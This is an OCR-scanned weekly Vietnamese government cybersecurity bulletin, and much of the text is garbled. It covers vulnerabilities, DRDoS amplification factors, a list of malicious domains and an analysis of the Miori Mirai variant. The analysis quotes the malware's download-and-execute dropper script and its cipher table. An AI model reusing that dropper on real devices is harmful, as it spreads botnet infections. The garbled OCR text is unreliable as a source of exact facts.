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THONG KE NGUON
TAN CONG DDOS

VUONG QUOC ANH CONG
BO TIEU CHUAN AN TOAN
THONG TIN MANG CHO
CAMERA GIAM SAT

Anh duoc cho 1a qubc gia dau tién g s
dua ra tiéu chuan an toan thong
tin mang 4ap dung tu nguyén va

dan nhén ching nhan tuan tha cho o ‘") :?j
c4c nha san xuit camera giam sét. 3 "

Uy vién hoi dong Camera giam
sat Vuong qudc Anh (SCC) dua ra
mot loat cac yéu cau téi thiéu &p
dung tu nguyén dé bao dam rang
cac camera va linh kién giam sat
duoc san xuét an toan theo thiét
ké.

BIEN THE MOI CUA MIRAI
Cubi nam ngoai, trong mot béo
cao cua Trendmicro da phat hié¢n
phan mém doc hai lay lan qua 15
héng ThinkPHP Remote Code
Ex (RCE) Ia bién thé Mirai méi
c6 tén Miori. Gan day bién thé

Biku d6 thong ké thiét bi theo cdng dich v phd bién
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PIEM YEU, LO HONG

AN TOAN THONG TIN

Trong tuan, cac t6 chic quéc té
dd cong bd va cap nhat it nhat
314 15 héng, trong d6 co 24 15
héng muc cao, 100 15 héng mirc
trung binh, 17 15 hong mirc thap
va 173 16 hong chua danh gia.
Trong d6 co it nhat 10 15 hong
cho phép chén va thuc thi ma
Iénh.

N

nay da xuat hién tro lai voi sy
khac biét dang chu y trong cach
giao tiép véi may chu C&C cua
no.

SINGAPORE GIGI THIEU
KHUNG CHIA SE DU LIEU
PANG TIN CAY

Singapore da gidi thigu mot

Khung huéng din dugc thiét ké
dé giai quyét cac thach thic ma
co quan, to chic, doanh nghiép
thuong gap phai khi chia sé tai
nguyén dir liéu, goi la “Khung
chia sé dir liéu dang tin cay”.

Miori Variant Shows Following

Message at Researchers
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1. Piém tin dang chi y

1.1. Anh duoc cho 1a qudc gia dau tién dua ra tiéu chuan an toan thong tin
mang &p dung tu nguyén va dan nhan chang nhan tuan tha cho cac nha san xut
camera giam sat. Uy vién hoi dong Camera giam sat Vuong quc Anh (SCC) dua ra
mot loat cac yéu cau tdi thiéu &p dung tw nguyén dé bao dam riang cac camera va
linh Kién giam sat duoc san xuat an toan theo thiét ké.

Mot sb thuong hiéu 16n va ndi tiéng nhat trong san xuit thiét bj giam sat nhu
Axis, Bosch, Hanwah, Hikvision, Milestone Systems da hop tdc véi mot nhdm
chuyén gia duoc uy quyén boi SCC dé dua ra tiéu chuan co ban cho cac nha san
xuat. Tiéu chuan bao gém cac yéu cau nhu bao dam rang mat khau mic dinh phai
dugc thay doi khi khai dong thiét bi 1an dau; cac mat khau dugc chon phai du phirc
tap; yéu cau d6i voi nhitng trudng hop ndo méi duoc cung cap truy cap tir xa ...

Trude d6, dau nam 2019, chinh phi Anh da cong bd khoan dau tu 70 triéu
bang nham dwa Vuong qudc Anh dan dau thé gigi trong viéc loai bo cac méi de doa
trén khong giang mang ddi vai cac doanh nghiép va nguoi ding bang cach phét trién
cac phan cting cdng nghé thdng tin linh hoat bao dam thiét ké bao vé tryc tiép trén
phan ctng va chip.

1.2. Singapore di giéi thieu mot Khung huéng dan duoc thiét ké dé giai quyét
cac thach thirc ma co quan, to chic, doanh nghiép thuong gap phai khi chia sé tai
nguyén dir liéu, goi 1a “Khung chia s¢ dir li¢u dang tin cay”.

“Khung chia sé dir liéu dang tin cay” tao diéu kién chia sé dir liéu dé thic day
su phét trién cta cac san pham va dich vu méi ciing nhu tao niém tin cho nguoi tiéu
ding rang di liéu cua ho s& duoc bao vé. Theo do, tai lidu ndy cung cap nhiing cach
thire 6 trach nhiém va dang tin cdy trong viéc chia sé dir liéu gitta cac co quan, to
chuc, doanh nghiép dong thoi van dam bao tuan tha cac quy dinh vé bao dam an
toan thong tin. Vi tai liéu nay, cac doanh nghiép tai Singapore c6 thé van dung dé
tao ra cac san pham va dich vu tot hon ciing nhu lam giam chi phi doanh nghiép.

Khung huéng dan trén duoc nghién cau va xay dung dua trén sy phdi hop
gitta Co quan Phat trién phuong tién truyén thong (IMDA) va don vi giam sat Uy
ban Bao vé dit liéu ca nhan (PDPC) cling vai su tham van tir cac don vi trong nganh
nay, trong d6 nhan manh tim quan trong caa viéc bao dam "sir dung dir liéu dang tin
cay".

Dir liéu dong vai tro thiét yéu trong kha nang d6i méi cia cac co quan, t6
chuc, cling nhu kha ning tiiy chinh cac dich vy va quy trinh cho cac ddi twong khéc
nhau. Nguoi dung duoc khuyén khich nén sin sang chia sé dir liéu cia ho véi cac co
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quan, t6 chic doanh nghiép néu ho tin tudong vao kha ning st dung va bao vé dir
liéu ctia cac co quan, to chuc, doanh nghiép nay dé dugc cung cap cac san pham,
dich vu tt hon.

1.3. Cudi nam ngodi, trong mot bao céo cua Trend Micro da phat hién phan
mém doc hai lay lan qua 15 hdng ThinkPHP Remote Code Ex (RCE) Ia bién thé
Mirai méi c6 tén Miori. Gan day bién thé nay da xuat hién tro lai véi su khac biét
dang chu ¥ trong cach giao tiép véi may cha C&C cua no.

Bién thé Mirai giao tiép voi cac C&C bang giao thuc binary-based va text-
based. May chu C&C nay s& hién thi yéu cau ding nhap dé truy cap bang diéu khién
ma ddi twong tan cdng st dung.

Invalid credentials (IP logged!)

Hinh 1. Hién thi dang nhdp may chii C&C

Cac nha nghién ctiu chi ra rang, khi ho ¢ gang két néi véi may chia C&C thi
thay vi hién thi man hinh dang nhap thong thuong, ma doc hién thi mot dong thdng
bao “P**k off researcher!!” va dong thoi cham dut két ndi. Biéu nay cho thay bién
thé ma doc nay duoc thiét ké tinh vi, c6 kha ning phan biét dugc hanh vi diéu tra,
nghién ciru cua chuyén gia bao mat.

Khi phan tich giao thirc Miori st dung, mét dic diém khac véi Mirai 1 viéc
truyén thong sir dung giao thuc text-based trong d6 may chu C&C s& nhan duoc mot
chudi ky tu cu thé trudc khi cho phép bat ky ai truy cap vao thanh phan diéu khién,
néu khéng nhan duoc chudi ky tu d6 thi s& hién thi thdng bao khéc.

e ———
S S

Malware on victim host C&C authorizes the Attacker launches Malware decrypts
sends specific string to connection as bot client attack from the console received command and
the C&C and waits for the and C&C server sends executes it
attacker to launch attack command to bot
attacks clients in encrypted

form

Hinh 3. Giao thic cua bién thé Miori.
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Hinh 4. Poan ma sir dung dé lién lac véi may chi C&C

Miori str dung giai thuat mat ma thay thé don gian dé ma hoé/giai ma. Bang
ma duoc thiét 1ap sin trong m& ngudn dé giai ma.

auwAdeFHionGmIKJYBvcxgyhPpqQWRLSCtbsSE21INOjklVOXZ34D75fzr86MUST#7 &= (+)%

0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ. /|-&;:>
Hinh 5. Bdang fuong 1ng cua mat ma thay the duoc tim thay

Bién thé nay co thé quét cac may chu telnet dé bi tin cong. Sau khi kiém soét
duogc thiét bi, ma doc gui thong tin tai khoan, dia chi IP dén may chu C&C. Ciing
gidng nhu bién thé Mirai trudc do, phan mém doc hai nay gui va thuc thi mot tap
lénh doc hai trong may chu dé bi tin cong, ciing nhu thyc hién cac cudc tan cong tir
chéi dich vu (TCP Flood, UDP Flood)

execname="chiemi"

for arch in $binarys

get http://$server_ip/$binname.$arch -0 $execname
chmod 777 $execname

./$execname $1

rm -rf $execname

done

Hinh 6. CAc tép Iénh déc hai phat tan phan mém déc hai trong may chui telnet

Mot sb trang web ban ma ngudn ctia phan mém doc hai nay véi gia 110 USD.
Trang web dugc xay dung bang dich vu thuong mai dién tir hop phap co tén Ia
Selly. Tuy nhién, day c6 thé 1a mot trang web lira dao va s& khong cung cip ma
ngudn sau khi ngudi diing mua.

<« ¢ @ ® @ htips:/iroot_senpai sy s % & 0 » =

miori source code

Hinh 7. Trang web rao ban ma nguon Miori
4
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Mirai 1a dong ma doc trong hé sinh thai 10T, trong bdi canh cac thiét bj loT
ngay cang pho bién, da thuc day d6i tuong tan céng phét trién nhiéu bién thé khac
nhau cua Mirai. Bién thé Miori c6 nhiéu thay d6i dang ké trong giao thic va phuong
thie Tuu trir dix liéu cdu hinh cho thay Miori khéng chi 1a mot bién thé Mirai méi,
ma con 1a mot phan mém doc hai méi dang ¢ gang "nguy trang" dudi dang bién thé
Mirai nham tranh bi phat hién va gay kho khin cho viéc phan tich. Pé ngin chin
viéc 12y nhidm, quan tri vién can va cac diém yéu 15 héng da biét dic biét 1a diém
yéu 15 hong dé bi cac bién thé cia ma doc Mirai khac khai thac va chiém quyén
kiém soéat thiét bi.

Théng tin ky thuat vé ma déc Miori tham khao thém tai:

https://ti.khonggianmang.vn/dashboard/news/p/Bien-the-moi-cua-Mirai/

2. Nguy co tan cdng mang tir diém yéu 16 hong

Trong tuan, c4c to chiic quéc té da cong bd va cap nhat it nhat 314 15 hong,
trong d6 c6 24 16 hdong mac cao, 100 16 héng mic trung binh, 17 156 hdng muc thap
va 173 16 hong chua danh gia. Trong d6 c6 it nhat 10 16 hong cho phép chén va thuc
thi ma Iénh.

Hé thong ky thuat ciia Cuc ATTT chii dong ra quét trén khong gian mang Viét
Nam, danh gia, théng ké cho thay c6 05 nhém 15 héng trén cac san pham, dich vu
CNTT pho bién, c6 thé gay anh huong 16n dén nguoi dung ¢ Viét Nam, nhu: Nhom
10 156 hong trén mot s6 san pham, phan mém cua D-link; Nhém 12 15 hong trén hé
diéu hanh Android; Nhém 14 15 hong trén mot s6 san pham, tng dung cia Cisco
v.v...Thong tin chi tiét vé mot s6 16 hong trén cac san pham/dich vu pho bién tai
Viét Nam cu thé nhu sau;

San
STT| pham/ | MaIdi quéc té M6 ta ngan Ghi chu
dich vu

Nhom 10 15 hong trén mot sb
san pham, phan mém cua D-|p.

co
CVE-2019-13372 |link (Central WiFi Manager, thong  tin
CVE-2010-13373 |PIR-655 C, DIR-818LW) cho|, ;o nan,

1 Dlink phép tan cong thyuc thi doan ma
CVE-2019-13375 |ppyp thong qua mot s6 truong,| " >
khai thac I8i SQL Injection, mot|"one 4d €6
s6 15 héng cho phép chen va|Pan va

thuc thi ma Iénh tay y.

Mot so 10
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Nhom 12 16 hong trén hé diéu

\ . , Z. ba co
Google - |CVE-2019-2107 hanh A?drOEd cho pheI-) do~| lthong tin
Android tugng tan cong thuc thi ma Iénh “4c nhan
- - s = 7 Y ~ ~ a
CVE-2019-2109 tir xa trai phép ma khéng yéu .
A A : va ban va
cau co quyen thuc thi.
Nhém 03 16 hong mie cao trén
firmware cua thiét bi Vivotek ch ,
- - .z . ua CcO
CVE-2018-14494 118136 (Thiét bj Camera phé e
CVE-2018-14495 |bién & Viét Nam) cho phép déi | 9 "
Vivotek tugng tn cdng chén va thuc thi xac - nhan
CVE-2018-14496 |rong tan cong chenvathuc thi |, .\ o
[énh ddc hai tir Xa tir d6 c6 thé
kiém soét thiét bi.
Nhom 05 15 héng trén firmware
cua thiét bi Fortinet Dynacolor
FCM-MB40 v1.2.0.0 cho phép
CVE-2019-13399 | .. LA X ,
doi tugng tan cong lay dugc|Chua c¢o
. CVE-2019-13400 |khoa SSL/TLS thiét lap sin trén|thdng tin
Fortinet v s ar g R N A
CVE-2019-13401 [thict bi tir d6 co thé doc dir ligu|xd&c nhan
ma hoda, khai thac 16i CSRF hay |va ban va
16i trong qua trinh khoi dong
cho phép duy tri backdoor trén
hé thong.
Nhom 14 15 hong trén mot sb
san pham, tng dung cua Cisco
(Security Appliance Software,
CVE-2019-1873 Firepower Threat Defense,
I Advanced Malware Protection,|Da c6
Cisco CVE-2019-1932 ||0S XR Software, IP Phone|thdng tin
CVE-2019-1921 |7800...) cho phép ddi twong tan|xac nhan
cdng thuc hién tan cong tir chéi|va ban va

dich vu, chén va thuc thi méa
lénh, mot sé 16 hong cho phép
doc va ghi di liéu doc hai ¢
muc dudi cua hé diéu hanh,
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Nhom 04 15 hong trén cac thiét
bi eQ-3 HomeMatic (CCU2
CVE-2019-10122 |phién ban truéc 2.41.9 va
CVE-2019-10119 |CCU3 phién ban rucc 343.16) -Pa ¢
6 EQ-3 dong thiét bi cua btc hay su|théng tin
CVE-2019-10120 dung trong Smarthome cho|[xac nhan
phép ddi tugng tan cong thuc
thi ma Iénh tur xa, ty dong dang
nhap nhu quyén quan tri

3. Nguy co phat tan tan cong tir chdi dich vu

Tan c6ng tir chéi dich vu 1a hinh thtc tn cong d3 co tir 1au, va hién tai van
dugc ddi trong tin cong wa thich sir dung dé thuc hién cac y d6 xau. Tan cong tir
chéi dich vu vé co ban khoéng nguy hiém nhung lai gdy anh huong dén hoat dong
cua hé thdng, gay thiét hai vé kinh té cho t6 chirc bi tan cong.

Tan cong tr chdi dich vu ¢6 thé dugc thuc hién véi nhiéu ky thuat khac nhau,
nhung trong nhiing nam gan day phan 16n tin tic huy dong céc thiét bi dang mo
cong dich vu st dung giao thac UDP dé thyc hién tan cong. Céc thiét bi nay co thé
bi huy dong dé dang dé thuc hién tan céng DRDoS (tin cbng tir chdi dich vu phan
xa phan tan/Distributed Reflective Denial-of-Service) ma hiéu qua tan cong lai rat
cao. Rat nhiéu giao thirc tang tng dung déu c6 diém yéu/ld hong cho phép thuc hién
tan céng nay.

Giao thuc S6 lan khuéch dai biang thong
DNS 28 lan 54
NTP 556.9
SNMPV2 6.3
NetBIOS 3.8
SSDP 30.8
CharGEN 358.8
QOTD 140.3
BitTorrent 3.8
Kad 16.3
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Giao thuc S6 lan khuéch dai biing thong
Quake Network Protocol 63.9
Steam Protocol 55
Multicast DNS (mDNS) 2 dén 10
RIPv1 131.24
Portmap (RPCbind) 7 dén =28
LDAP 46 dén 55
CLDAP 56 dén 70
TFTP 60
Memcached 10,000 dén 51,000

Tai Viét Nam, co rat nhiéu may chi, thiét bi c6 thé trg thanh nguon phat tan
tan céng DRDO0S. Trong tuan c6 34,915 thiét bi c6 kha niang bi huy dong va tro
thanh nguoén tan cong DRDoS. C4c thiét bi nay dang mé su dung cac dich vu NTP
(123), DNS (53), Chargen (19). Duéi day la biéu d6 théng ké thiét bi theo cong dich
vu phé bién trong tuan.

Biéu do thdng ké thiét bi theo cong dich vu pho bién

19

4 FiE] — 123
19

4. Tan cong vao Cong TTPT/ing dung web ciaa Viét Nam

Website/Cong thong tin dién tir 1a kénh cung cap thdng tin hiéu qua tuy nhién
hau hét khong duoc quan tam dén viéc bao dam an toan cho website, rat nhiéu trang
ton tai diém yéu, 16 hdng bao mat, d6i twong tan cong c6 thé khai thac dé thuc hién:
tan cong thay doi giao dién, tan céng lira dao thu thap théng tin tai khoan, thong tin
ca nhan, tan cong cai cim va phat tan ma doc.



Trong tuan, c6 178 trudng hop tan cdng vao trang/cong thong tin dién tir cua
Viét Nam: 05 truong hop tin cong thay doi giao dién, 88 truong hop tan cong lira
dao (Phishing), 85 truang hop tan cng cai cam ma doc.

Web_Deface Web_Phishing Web_Malware

Théng ké s6 hrgng céc trang web phishing trong tuin
theo nha cung cap dich vu

H Viettel ®VNPT mSUPERDATA THEGIOISO-AS-VN B CMC ®DigiStar EBCMC HBFPT HOther

5. Hoat dong cia mang botnet, APT, ma doc tai Viét Nam
5.1. Cac mang botnet phé bién

Tai Viét Nam c6 nhiéu mang botnet 16n trén thé gi¢i dang hoat dong, trong d6
noi bat 1a Avalanche, Conficker, Gamut, loThotnet/Mirai, PonyLoader, Sality,
Wanacry ... Cac mang nay dugc hinh thanh tir nhitng may tinh, dién thoai thong
minh, thiét bi mang ... bi lay nhiém ma doc. M&i mang botnet déu co dic diém, muc
tiéu khac nhau, tuy nhién déu c6 dic diém 1a khi da bi lay nhiém ma doc va tham gia
vao c4c mang botnet nay thi s& bi ddi tuong tan cong kiém soéat tir xa va loi dung dé:
phat tan thu rac/ma doc mai, thu thap thong tin, dir liéu trén may tinh nguoi dung,
tan cong tir chdi dich vu ... va gop phan lam ting ti 1& 1ay nhiém ma doc ¢ Viét
Nam. Duéi day 1a biéu do hoat dong ciia mot sé mang mang botnet Ion trong tuan:



‘‘‘‘‘

Avalanche Smoke Loader

Trong tuin mang botnet Avalanche (chuyén danh cip thong tin ngudi ding)
hoat dong manh nhat, c6 565.309 luot dia chi IP két ndi véi may chi diéu khién.

5.2. Danh sach IP/t&n mién déc hai c6 nhiéu két néi tir Viét Nam

1 differentia.ru

2 disorderstatus.ru

3 atomictrivia.ru

4 soplifan.ru

5 nxzfdsio58.ru

6 xjpakmdcfuge.com

7 somicrososoft.ru

8 fzhpvOv4i.ru

9 www.cityofangelsmagazine.com
10 awjapmnak.info

11 morphed.ru

12 me4abx32b.ru

13 a.deltaheavy.ru

14 www.corpnox-technologie.fr
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6. Khuyén nghi déi véi cac co quan, don vi

Nham bao dam an toan théng tin trong hé théng mang cua cac co quan, to
chtc, Cuc ATTT khuyén nghi:

- Theo d&i va cap nhat ban va cho cac 15 hong, dac biét 1a 16 hong néu tai muc
2 bao cao nay.

- P6i v6i nguy co bi loi dung dé thuc hién tan cong tir chdi dich vy néu tai
muc 3: Kiém tra cac dich vu st dung giao thirc UDP, han ché ti da viéc mé céc
cong dich vuy str dung giao thitc UDP. Trong trudng hop st dung phai thuong xuyén
theo ddi va cap nhat ban va 16 hdng bao mat cho dich vu, ddng thai cau hinh ciing
hoa dich vy, han ché téi da truy cap dén va di lién quan dén dia chi/dai dia chi ko
can thiét.

- Nham tranh viéc bi cac d6i twong tan cong lgi dung cac trang web dé thuc
hién cac hanh vi gy mat an toan thong tin nhu di néu trong muc 4, Cac co quan to
chtrc can phai thuong xuyén kiém tra, ra soat may cha web dé kip thoi phat hién va
cap nhat.

- Kiém tra va xir Iy cac thiét bj trong toan bo hé théng mang néu cé dau hiéu
két ndi dén céc tén mién doc hai Cuc ATTT di chia sé, dic biét 1a cac tén mién da
néu trong muc 5.2 bao cao nay.

- Chu dong kiém tra, ra soat, boc g& ma doc ra khoi hé thong mang. Cuc
ATTT sin sang phdi hop voi cac co quan to chic tién hanh kiém tra va boc g& ma
doc botnet trén hé thong cia co quan don vi. Pé xac minh cac may tinh bi nhiém ma
doc botnet, Quy don vi 6 thé lién hé véi Cuc ATTT theo thong tin bén duéi dé phdi
hop thuc hién.

Thong tin lién hé Cuc An toan thong tin, tang 8, s6 115 Tran Duy Hung, quan
Cau Giay, TP. Ha Noi; s6 dién thoai: 024.3943.6684; thu dién tir ais@mic.gov.vn.

Tran trong./.
CUC AN TOAN THONG TIN
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